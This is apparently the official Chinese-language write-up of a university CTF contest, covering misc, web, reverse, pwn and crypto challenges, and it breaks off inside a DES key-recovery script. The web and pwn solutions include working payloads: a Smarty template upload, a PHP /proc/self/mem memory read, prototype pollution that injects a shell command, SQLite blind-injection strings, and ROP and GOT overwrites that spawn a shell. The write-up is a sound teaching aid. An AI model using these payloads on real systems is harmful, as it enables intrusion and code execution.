本题考察的是对PNG结构以及常见工具的使用。 题目只是在IDAT数据当中存储了多余的zlib数据流,通过binwalk可以直接进行解压缩。 binwalk -Me PNG.png 4 png被打得很惨,现在卷土从来难度 难 flag: flag{zheshirenchude} 本题考察的是对PNG结构以及常见出题点的了解程度 打开题目是PNG图片,binwalk无异常 010editor打开发现crc异常,结构暂时没啥问题。 tweakpng打开发现,IHDR,IDAT,IEND数据块的CRC值均不对。 之后用StegSolve查看,发现图片有隐藏的框。框选出了IDAT data,说明IDAT数据应该有特殊之处需要查看。 图片本身的信息就这么多,从PNG结构来一点点看,首先IHDR区块CRC有问题,一般说明是图片高度被修改,通过CRC反计算脚本(或者直接修改高度值盲试)发现图片下面有隐藏图像。stegSolve查看,发现有隐藏图案 三个框分别圈出了png图片的一些数据结构,第二个框显示png图像数据使用zlib方式压缩。框选此处说明需要注意zlib压缩数据。 第三个框是具体压缩块数据结构。此图片内容为libpng官网文档截图,但是实际访问官网,可发现标注的压缩块结构标注并不符合。 数字被故意修改过,所以可知2233这串数字应该为题目的某个key或者hint。 之后所有的IDAT数据块CRC值均不正确。将所有CRC值拷贝下来。hex解码。发现是hint hintis[IEND_and_11]_jiayou_XD. 根据hint查看IEND,正常IEND数据应为空,仅作为文件结束标志。但是现在却有数据。 提取数据,发现前四位为9C 78,而zlib数据头为78 9C。修改前四位进行解压。发现是base64,之后进行解码。最后得出flag第一段 flag{zheshi 得到第一段之后,hint里面的11,还没有解决。通过查看发现chunk 11,是最后一个IDAT数据块。根据之前还有一个hint 2233,全数据块搜索2233。发现数据块末尾含有2233,仅此一个 根据前一段flag,猜测此处也是zlib压缩,将从2233开头到CRC值之前的32个HEX值复制,修改2233为zlib数据头78 9C 发现解码完数据为一种编码,根据前一段flag来猜测,此处应该是其他base家族类的编码。通过basecrack或者在线base解码,可得知此为base91,解码为renchude} 后一段flag为:renchude} 合并两段,得到最终flag flag{zheshirenchude} 5 在哪呢难度 简单 查看PDF 在文字中发现多处颜色越来越淡的提示 想到flag可能被以白色隐藏到文字中,全选文字 发现倒数第二段段尾有一段空白字 复制出来或编辑为其它颜色 得到flag flag{hey_there_is_no_thing} 6 ecryptedzip难度:难 本题考察的是对明文攻击的实战应用 在实际环境中不会主动提供明文文件用于明文攻击 需要自己寻找明文文件或部分明文进行攻击 压缩包内含有两个文件LICENSE和README.md LICENSE为开源证书文件 将常⻅开源协议全下载下来 对比大小 发现Apache 2.0大小极为相近 使用github 内置的LICENSE文件可以成功解密 还有一种简单的方法 开源许可证很多都是空格开头 可以直接使用多个重复空格作为明文 7 easysteg难度 简单 可以看到一个缺少定位符的二维码,补全后拿到提示:一种常见的隐写 分离图片拿到压缩包 解压后配合观察图片名称格式,使用stegpy拿到flag flag{Do_U_Kn0w_Ste9py??} 8 压缩包压缩包压缩包难度 简单 第一层为50996.zip 写脚本解密递归压缩包 300层 解题脚本mkdir zips mkdir zips/files mv 50996.zip ./zips cd zips while : do file=$(ls -t | tail -1) pass=$(zipinfo $file | grep - | cut -d ' ' -f12 | cut -d . -f1) unzip -P $pass $file echo "unzip -P $pass $file" mv $file ./files done 最后一层为23333.zip 6位数字密码为756698 打开sqlite在employees表中找到flag flag{Unz1p_i5_So_C00l##} WEB9 flag难度 中等 解法一人肉排序,然后口算base64 解法二等网站输出足够多,复制下来,然后利用大部分文本编辑器都支持的查找/替换功能将消息替换成类似如下的格式。 a = list("a" * 20) ... a[1]="a" a[20]="b" a[3]="c" ... # 最后 import base64 print(base64.b64decode(''.join(a))) 解法三题目SSE实时推送消息至浏览器,路由为'/flag',可以直接: import base64 from sseclient import SSEClient flag = "" for msg in SSEClient('http://127.0.0.1/flag'): msg = (str(msg).split(",")) msg[1] = str(msg[1]).replace("叉(小写)", "x").replace("叉(大写)", "X") if flag == "": flag = list("?" * int(msg[0][2:-1]) ) if "?" not in "".join(flag): break flag[int(msg[1][1:-3])] = msg[1][-1] print(base64.b64decode("".join(flag))) 等着输出就行了 Tips题目根据浏览器是否成功加载http://burp/favicon.ico图片来判断选手是否开启了BurpSuite。如果开启则会跳转至/Index,而正确的路由是/lndex。 如果被检测到BurpSuite,会记录在session中,需要清空一下浏览器cookie再试。 10 odd_upload本题考察的是新生对模板引擎的认识. 难度:中等 通过页面提示.很容易发现题目使用了smarty模板引擎的demo项目 题目提供了一个上传点. 后端使用了严格的后缀黑名单防止上传php或Apache配置文件. 可通过覆盖模板文件.tpl 控制模板内容 POST /? HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------43155698238817916993932117986 Content-Length: 365 Origin: http:// DNT: 1 Connection: close Referer: http:// Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache -----------------------------43155698238817916993932117986 Content-Disposition: form-data; name="file"; filename="header.tpl" Content-Type: application/octet-stream {phpinfo()} -----------------------------43155698238817916993932117986 Content-Disposition: form-data; name="path" templates/ -----------------------------43155698238817916993932117986--再次访问首页 之前修改的模板被渲染 执行phpinfo函数 拿到环境变量中的flag 11 Easyinject本题考察的是Ldap注入 难度:简单 首先通过页面注释账号登陆 发现提示 flag是在目录里面的某一个用户的邮箱属性 通过关键词“目录“ “属性”可判断出题目使用了ldap 或在fuzz时页面报错也可以判断出使用了ldap 这时可以使用通配符*猜测邮箱 L* Ld* Lda*这里注意有重叠的字符串需要额外做处理 Ps 在读提交上来的wp时发现很多同学都是先跑出用户在跑邮箱 并且猜测出了原过滤器还构造了复杂的playload. 其实可以直接跑邮箱地址不用构造用户查询. 原本设计的是跑出ldap密码的题目. 比赛前觉得难度可能有点高不适合新生. 在收集的wp中居然有大佬跑出了原先设计的ldap密码. dltql 12 Hideandseek难度:难 题目提示1: 要怎样才能读到内存里面的flag呢? 题目提示2: linuxの奇妙文件系统 <?php highlight_file(__FILE__); //docker //FROM php:8.1.0 //disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask //disable_classes = FFI //chmod -R 0555 html/ //php -S 0.0.0.0:8000 function main(){ $flag=file_get_contents('/flag');//看到这个flag了吗 (°▽°)ノ✿ if($flag==''){ die('看来你失败了'); } file_put_contents('/flag','');//我把它覆盖了都不给你 ( ̄▽ ̄) test(); } function test(){ eval($_REQUEST['eval']);//来试试读flag吧 只有一次机会哦 执行结束flag真的会消失的说 重启容器间隔会很长时间呢 本地试好了再来试试吧 (〜 ̄△ ̄)〜 } if(isset($_REQUEST["eval"])){ main(); } ?> 本题需要完成读取php进程内存操作 分析代码: 读取flag文件赋给$flag局部变量,目标是读取这个$flag变量的内容 但是走到test函数时不能读到其他函数的局部变量 只能通过读取内存获得flag. 这时可利用linux虚拟文件系统的特性读取内存 读取 /proc/self/maps 获取 进程自身内存布局 使用获取到的布局信息读取自身内存 /proc/self/mem (需要给出正确的偏移量才能成功读取) ?eval=$maps = file_get_contents('/proc/self/maps');$handle=fopen('/proc/self/mem','r');$r=explode(PHP_EOL,$maps);var_dump(explode('-',$r[7])[0]);fseek($handle,hexdec(explode('-',$r[7])[0]));echo fread($handle,10000000); 在dump出的内存寻找flag{字符串 即可获得flag 13 dirtyrce难度:难 var express = require('express'); var nodeCmd = require('node-cmd'); var bodyParser = require('body-parser'); const app = express(); var router = express.Router(); const port = 80; app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json()); function isValidIP(ip) { var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/; return reg.test(ip); } app.post("/ping", function(req, res, next) { b = req.body.cmd; if (req.body.ping === undefined) { res.send('invalid parm'); return; } ping = req.body.ping if (ping.time !== undefined) { time = Number(ping.time); if (time > 10 || time < 1) { res.send('invalid time'); return; } if (Object.keys(ping).length != 1 && ping.ip !== undefined && ping.ip != '') { if (!isValidIP(ping.ip)) { res.send('invalid ip addr'); return; } } } else { res.send('need time parm'); return; } ip = ((ping.ip !== undefined && ping.ip != '') ? ping.ip: '114.114.114.114'); nodeCmd.run('ping -c ' + time + ' ' + ip, //WINDOWS USE -n function(err, data, stderr) { res.send(data); return; }); }); app.get('/', function(req, res, next) { res.redirect('index'); }); app.get('/index', function(req, res, next) { res.send('<title>ping test</title><form action="/ping" method="POST">Ip:<input type="text" name="ping[ip]"" placeholder="default value 114 dns"><br>Times:<input type="text" name="ping[time]" value="1"><input type="submit" value="Ping !"></form> '); }); app.listen(port); /ping 路由内有命令执行操作 但是ip经过严格的正则校验 无法绕过,time也有强制类型转换. 只能想办法绕过这个校验. 通读代码发现当输入参数数量为1且参数为time时不会校验flag内容. 在后续还会使用三元运算符判断ip是否为空. 构造原型污染 污染ping数组的原型 即可完成以上条件 达到命令执行的效果. ping[__proto__][ip]=|cat /flag&ping[time]=1014 wschat一个 nodejs+sqllite写的轻量聊天室 难度:? 本题考察特殊sql注入点的利用 现在使用ws协议的网站越来越多 (出题时我就想到了为什么不出一道题目来学学ws注入) 题目也使用了protobuf这是一种像json的结构化数据,在现在的httprpc中也非常常见. 该题前后端交互使用了socket.io,通信使用protobuf做结构化数据. 前端代码做了轻度混淆,并且具有反调试功能. 阅读前端代码发现,用户输入存在正则校验. 开始解题 去除反调试和正则校验(修改js) 手动测试发现注入点 登陆处存在注入 猜测语句为select xx from xx where xx='username' 注册一个账号adad 使用布尔注入 sqlite的布尔盲注方法 判断表数量 adad' and (select count(*) from sqlite_master where type='table')=5 -- 表名 and substr((select name from sqlite_master where type='table' limit 0,1),1,1)='T' 列名 and substr((SELECT sql FROM sqlite_master where name='user_table'),33,1)='I' 记录 and substr((SELECT f16g FROM f16g_1s_1n_th1s_table),1,1)='f'本题有两种解题方法 第一种方法 编写js脚本在浏览器运行 进行注入. 第二种方法非常复杂 脱离浏览器编写脚本直接与ws后端通信. 可惜在比赛结束前没有队伍解出这道题.但是在结束后or4nge团队提交了这道题目的wp 且使用了第二种方法.完美地完成了该题. 大家有兴趣可以看看or4nge战队大佬的题解 (https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/#wschat) RE15 signin直接查看字符串表即可获得flag 16 happyCTF这道题是用c++写的,其实代码核心很简单就只是单字节异或,所以把密文当成明文输入就能得到flag,只是验证的过程稍微麻烦,是一个递归验证的算法,不过没什么用换成strcmp效果是一样的,只是起到一个迷惑的作用,原始代码很简单,但是开启代码优化以后再用ida反编译看起来就很乱了,这也是起到迷惑作用。加密的核心部分是用lambda匿名函数实现的起到一个加密代码隐藏的作用,防止这个最简单的加密被直接找到,所以下一次试试把密文当成flag输入,说不定有惊喜 17 Remember Crypt 4如果对ctf常用的加密算法熟悉的话,看到ida的反汇编会很眼熟,这是一道很简单的rc4加密,该算法的特点是它可以自定义密码表,所以可以起到一点迷惑作用,但是没什么用,rc4是对称加密,所以只需把密文当成明文重新加密一边就能得到明文,所以碰到一些加密算法可以试试这个办法,万一是对称加密呢,直接就出flag了 贴一份rc4的代码 void rc4_init(unsigned char*s,unsigned char*key,unsigned long len)//s最开始是传入的长度为256的char型空数组,用来存放初始化后的s //key是密钥,内容可定义 //最后一个len是密钥的长度 { int i=0; int j=0; unsigned char k[256]={}; unsigned char temp = 0; for(i=0;i<256;i++) { s[i]=i; //0-255赋给s k[i]=key[i%len]; //将k重新计算 } for(i=0;i<256;i++) { j=(j+s[i]+k[i])%256; //给j赋 temp=s[i]; s[i]=s[j]; s[j]=temp; //s[i]和s[j]交换 } } 18 EasyRe题目是基于Linux Signal机制的VM题目,parent进程和child进程间通过signal通信,执行opcode,调试难度比较高。并且signal的注册在main函数之前。 具体解法可以参照or4nge战队以及chamd5团队给出的wp (https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/#easyre) (https://mp.weixin.qq.com/s/KgxHOFH52EE8z7NnMTSIDA) PWN19 NssShop难度:签到题 真 签到题 不会PWN的同学也可以来试试 一道非常简单的整数溢出题 在计算总价格时会发生溢出 达成0元购(x) 20 justdoit把软件载入ida看一看反编译,很普通,发现主函数调用了read(),然后又调用了这个read_long(),看一眼内容 没什么奇怪的地方,看看反汇编 发现了奇怪的指令,add rbp,rax,而rax是上面read_long中atoi的输出,所以我们可以控制一下rbp的值 题目很简单,没有pie所以可以用rop,没有canary所以可以用bof,也可以部分劫持got表,也给了libc,我们可以用puts_plt 来泄漏 libc 的地址,通过一些调试之后,发现可以在payload中再次调用main函数来控制4个块的payload 在堆栈里,我们将main地址推送到 0x7fffffffde70 并添加 rbp 到达 0x7fffffffde68 的ip 然后当程序调用 leave,ret 时,rbp 会被设置为 = 0x00000a3131313131。 现在的 rsp 是 0x7ffffffffde78,但是在返回到 main 函数之后,有这两条指令 push rbp 和 mov rbp, rsp 看上面的堆栈图,红色块是前三个read_long()块里面的第二个,这个块我们可以放任意内容(块3需要放main地址,块1放string控制rbp),然后用payload pop_rdi, address, puts, ret去泄露libc,然后返回main函数重用漏洞。 所以现在只需要放入payload pop_rdi、/bin/sh、system 然后控制 rbp 即可获得 shell。 21 reallNeedGoodLuck这个题就比较有意思了,在IDA可以看到代码很简单,代码内容就是可以让你在任意地址写入4个字节,软件也没有pie所以地址都是固定的,也可以劫持got表。 首先,把exit GOT改成main,这样我们就有了main函数的无限循环。然后我们可以根据需要覆盖任意多次。 题目的一种比较明显的解法是把atoi函数更改为system,然后将字符串“/bin/sh”放入nptr变量中,然后在调用atoi("/bin/sh")时,程序将执行system(" /bin /sh"),然后get shell 所以问题就是如何替换到正确的地址,因为atoi已经调用过,所以got表中有其libc地址,所以通过用system 函数地址的最后三个字节覆盖原始地址的最后三个字节即可,需要一些好运 22 iterator在处理迭代器时,没有合理的判断迭代器范围,导致了指针越界。合理布局内存可以覆写Vector的结构体,执行任意内存读写,最终劫持Got表。 此处可以参考地运团队dalao的wp: https://mp.weixin.qq.com/s/C0Vn_5NnGCd8Sn6--otsgA CRYPTO23 EzDES一轮des没有多轮s盒干扰,所以该题难度是对des加密流程和算法的了解,可以通过穷举密钥和差分分析等方法实现,该脚本主要的思想是将明文加密到一半得到s盒置换前的数据,将密文解密到一半得到s盒置换后的数据,异或这两组数据可得可能的des密钥,然后将可能的des密钥存储到数组中,比对3组明密文,即可得出密钥。多轮的des加密差分分析思想也是同理,通过多组明密文得出密钥的可能性,选择最大可能性的密钥。 # -*- coding: UTF-8 -*- # Plaintext = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F'] def twoto16(new_p_box_list): str = [] for i in range(8): sum = new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0 #print(sum) str.append(hex(sum)) return str # 进制转换 十六进制转换二进制以及二进制转换为十六进制数 def hex_to_binary(str): initialplaintext = [] initialresult = bin(int(str,16))[2:] initialresult = initialresult.zfill(len(str)*4) for i in range(len(initialresult)): initialplaintext.append(initialresult[i]) return initialplaintext def binary_to_hexadecimal(bin_list): bin_str = ''.join(bin_list) hstr = hex(int(bin_str, 2))[2:].upper() l = len(bin_str) // 4 for i in range(l - len(hstr)): hstr = "0" + hstr return hstr #初始置换IP _ip = [57,49,41,33,25,17,9,1, 59,51,43,35,27,19,11,3, 61,53,45,37,29,21,13,5, 63,55,47,39,31,23,15,7, 56,48,40,32,24,16,8,0, 58,50,42,34,26,18,10,2, 60,52,44,36,28,20,12,4, 62,54,46,38,30,22,14,6 ] def substitution(table): result_table = [0]*64 for i in range(64) : result_table[i] = table[_ip[i]] return result_table #初始逆置换IP _fp = [39,7,47,15,55,23,63,31, 38,6,46,14,54,22,62,30, 37,5,45,13,53,21,61,29, 36,4,44,12,52,20,60,28, 35,3,43,11,51,19,59,27, 34,2,42,10,50,18,58,26, 33,1,41,9,49,17,57,25, 32,0,40,8,48,16,56,24 ] _fp2 = [57,49,41,33,25,17,9,1, 59,51,43,35,27,19,11,3, 61,53,45,37,29,21,13,5, 63,55,47,39,31,23,15,7, 56,48,40,32,24,16,8,0, 58,50,42,34,26,18,10,2, 60,52,44,36,28,20,12,4, 62,54,46,38,30,22,14,6, ] def inverse_substitution(table) : result_table = [0] *64 for i in range(64) : result_table[i] = table[_fp[i]] return result_table def reverse_substitution(table): result_table = [0]*64 for i in range(64): result_table[i] = table[_fp2[i]] return result_table #扩展置换 _extend_table = [ 31,0,1,2,3,4, 3,4,5,6,7,8, 7,8,9,10,11,12, 11,12,13,14,15,16, 15,16,17,18,19,20, 19,20,21,22,23,24, 23,24,25,26,27,28, 27,28,29,30,31,0 ] def extend_replacement(Right_table) : extend_list = [0] * 48 for i in range(48): extend_list[i] = Right_table[_extend_table[i]] return extend_list #与子密钥异或 def xor(lits,Key): result = [] for i in range(len(lits)): result.append(int(lits[i]) ^ int(Key[i])) return result #S盒替换 S1 = [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13] S2 = [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9] S3 = [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12] S4 = [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14] S5 = [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3] S6 = [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13] S7 = [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12] S8 = [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11] S_list = [S1, S2, S3, S4, S5, S6, S7, S8] #S盒置换 def s_box_replace(xor_list_key): result = [] for i in range(8): row = int(xor_list_key[i * 6] + xor_list_key[i * 6 + 5], 2) column = int(xor_list_key[i * 6 + 1] + xor_list_key[i * 6 + 2] + xor_list_key[i * 6 + 3] + xor_list_key[i * 6 + 4], 2) s_result=S_list[i][row*16+column] num = bin(s_result)[2:].zfill(4) result.extend(num) return result def _s_box_replace(new_p_box_list): result = [[[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]]] for i in range(8): sp = [0,0,0,0] sp[0] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),0,16) sp[1] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),16,32) sp[2] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),32,48) sp[3] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),48,64) for j in range(4): row = [0,0,0,0] clum = [0,0,0,0] row[j]= int(sp[j]) // 16 clum[j] = int(sp[j]) % 16 _num1 = [0,0] _num2 = [0,0,0,0] _num1 = bin(clum[j])[2:].zfill(2) _num2 = bin(clum[j])[2:].zfill(4) result[i][j] =[int(_num1[0]),int(_num2[0]),int(_num2[1]),int(_num2[2]),int(_num2[3]),int(_num1[1])] return result #p盒置换 p_box = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25] _p_box = [9,17,23,31,13,28,2,18, 24,16,30,6,26,20,10,1, 8,14,25,3,4,29,11,19, 32,12,22,7,5,27,15,21] def p_box_replace(str): result = [0] * 32 for i in range(32): result[i] = str[p_box[i] - 1] return result def _p_box_replace(str): result = [0] * 32 for i in range(32): result[i] = str[_p_box[i] - 1] return result def key_poss(plaintext, miwen, shu): #print("明文", shu, ":", plaintext) # #print("密钥:",key_table) #将明文和密钥16进制字符串转为2进制列表 plaintext_result = hex_to_binary(plaintext) miwen_result = hex_to_binary(miwen) #将明文和密钥2进制字符列表转为2进制整型列表 plaintext_result_int = list(map(int,plaintext_result)) miwen_result_int =list(map(int,miwen_result)) #对明文做初始置换 initial_table=substitution(plaintext_result_int) initial_str=binary_to_hexadecimal(list(map(str,initial_table))) #print("明文", shu, "的初始置换:",initial_str) L_list = [initial_table[i] for i in range(32)] R_list = [initial_table[i] for i in range(32,64)] #print("明文", shu, "的R边:", R_list) # L_new_list=R_list #进行扩展置换 extend_list=extend_replacement(R_list) # #print (extend_list) new_extend_list= [[extend_list[i] for i in range(0, 6)], [extend_list[i] for i in range(6, 12)], [extend_list[i] for i in range(12, 18)], [extend_list[i] for i in range(18, 24)], [extend_list[i] for i in range(24, 30)], [extend_list[i] for i in range(30, 36)], [extend_list[i] for i in range(36, 42)], [extend_list[i] for i in range(42, 48)]] #print("明文", shu, "的扩展置换:", new_extend_list) #miwen caozuo #IP ni zhihuan _IP_table = reverse_substitution(miwen_result_int) _IP__str = binary_to_hexadecimal(list(map(str, _IP_table))) # #print(_IP__str) #miwen L R _L_list = [_IP_table[i] for i in range(32)] _R_list = [_IP_table[i] for i in range(32, 64)] _r_list_new = xor(_R_list, L_list) #_P zhihuan _p_box_list=_p_box_replace(_r_list_new) new_p_box_list = [[_p_box_list[i] for i in range(0, 4)], [_p_box_list[i] for i in range(4, 8)], [_p_box_list[i] for i in range(8, 12)], [_p_box_list[i] for i in range(12, 16)], [_p_box_list[i] for i in range(16, 20)], [_p_box_list[i] for i in range(20, 24)], [_p_box_list[i] for i in range(24, 28)], [_p_box_list[i] for i in range(28, 32)],] # #print(new_p_box_list) s_in = [[[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]], [[],[],[],[]]] for i in range(8): for j in range(4): sp = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] t = new_p_box_list[i][0] * 2 ** 3 + new_p_box_list[i][1] * 2 ** 2 + new_p_box_list[i][2] * 2 ** 1 + \ new_p_box_list[i][3] * 2 ** 0 sp[i][0] = S_list[i].index(t, 0, 16) #print(sp[0]) sp[i][1] = S_list[i].index(t, 16, 32) sp[i][2] = S_list[i].index(t, 32, 48) sp[i][3] = S_list[i].index(t, 48, 64) row = [[0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3]] clum = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] # row[i][0]= 0 # #print(row[i]) clum[i][j] = (int(sp[i][j]) % 16) _num1 = [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]] _num2 = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] _num1[i] = bin(row[i][j])[2:].zfill(2) _num2[i] = bin(clum[i][j])[2:].zfill(4) s_in[i][j] = [int(_num1[i][0]), int(_num2[i][0]), int(_num2[i][1]), int(_num2[i][2]), int(_num2[i][3]), int(_num1[i][1])] # return result # #print(s_in) key_possible = [ [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]], [[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]]] for i in range(8): for j in range(4): for k in range(6): key_possible[i][j][k] = int(s_in[i][j][k]) ^ int(new_extend_list[i][k]) return key_possible key_real = [[0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0]] key1 = [] key2 = [] key3 = [] key4 = [] key5 = [] key6 = [] key7 = [] key8 = [] def cryptanalysis(key_poss1, key_poss2, key_poss3): for j in range(4): for k in range(4): if key_poss1[0][0] == key_poss2[0][j] == key_poss3[0][k] or key_poss1[0][1] == key_poss2[0][j] == \ key_poss3[0][k] or \ key_poss1[0][2] == key_poss2[0][j] == key_poss3[0][k] or key_poss1[0][3] == key_poss2[0][j] == \ key_poss3[0][k]: key1.append(key_poss2[0][j]) # if len(key1) == 1: #print("key1:", key1) if key_poss1[1][0] == key_poss2[1][j] == key_poss3[1][k] or key_poss1[1][1] == key_poss2[1][j] == \ key_poss3[1][k] or \ key_poss1[1][2] == key_poss2[1][j] == key_poss3[1][k] or key_poss1[1][3] == key_poss2[1][j] == \ key_poss3[1][k]: key2.append(key_poss2[1][j]) # if len(key2) == 1: #print("key2:", key2) if key_poss1[2][0] == key_poss2[2][j] == key_poss3[2][k] or key_poss1[2][1] == key_poss2[2][j] == \ key_poss3[2][k] or key_poss1[2][2] == key_poss2[2][j] == key_poss3[2][k] or key_poss1[2][3] == \ key_poss2[2][j] == key_poss3[2][k]: key3.append(key_poss2[2][j]) # if len(key3) == 1: #print("key3:", key3) if key_poss1[3][0] == key_poss2[3][j] == key_poss3[3][k] or key_poss1[3][1] == \ key_poss2[3][j] == key_poss3[3][k] or key_poss1[3][2] == key_poss2[3][j] == \ key_poss3[3][k] or key_poss1[3][3] == key_poss2[3][j] == key_poss3[3][k]: key4.append(key_poss2[3][j]) # if len(key4) == 1: #print("key4:", key4) if key_poss1[4][0] == key_poss2[4][j] == key_poss3[4][k] or key_poss1[4][1] == \ key_poss2[4][j] == key_poss3[4][k] or key_poss1[4][2] == key_poss2[4][j] == key_poss3[4][k] \ or key_poss1[4][3] == key_poss2[4][j] == key_poss3[4][k]: key5.append(key_poss2[4][j]) # if len(key5)==1: #print("key5:", key5) if key_poss1[5][0] == key_poss2[5][j] == 